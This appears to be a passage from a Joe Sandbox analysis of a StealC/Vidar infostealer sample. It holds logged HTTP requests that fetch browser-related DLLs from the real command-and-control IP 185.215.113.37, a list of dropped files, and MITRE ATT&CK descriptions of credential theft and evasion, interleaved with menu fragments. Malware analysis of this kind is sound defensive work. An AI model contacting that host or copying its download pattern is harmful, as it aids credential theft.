Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFIEGIECGCBKFIEBGCAA

C:\ProgramData\CGCFIIEB

C:\ProgramData\FBAKEHIEBKJJJJJKKKEG

C:\ProgramData\GHJEGCAEGIIIDHIEBKEB

C:\ProgramData\GIJJKKJJDAAAAAKFHJJDGDAFBA

C:\ProgramData\IDHIEGIIIECAKEBFBAAEBKFCFH

C:\ProgramData\IIJDBGDG

C:\ProgramData\KEHDBAEGIIIEBGCAAFHIDHDBFB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 00709860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 006F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 006FBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 6C5D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 00704910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00709C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 006F7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00700250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 006F5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre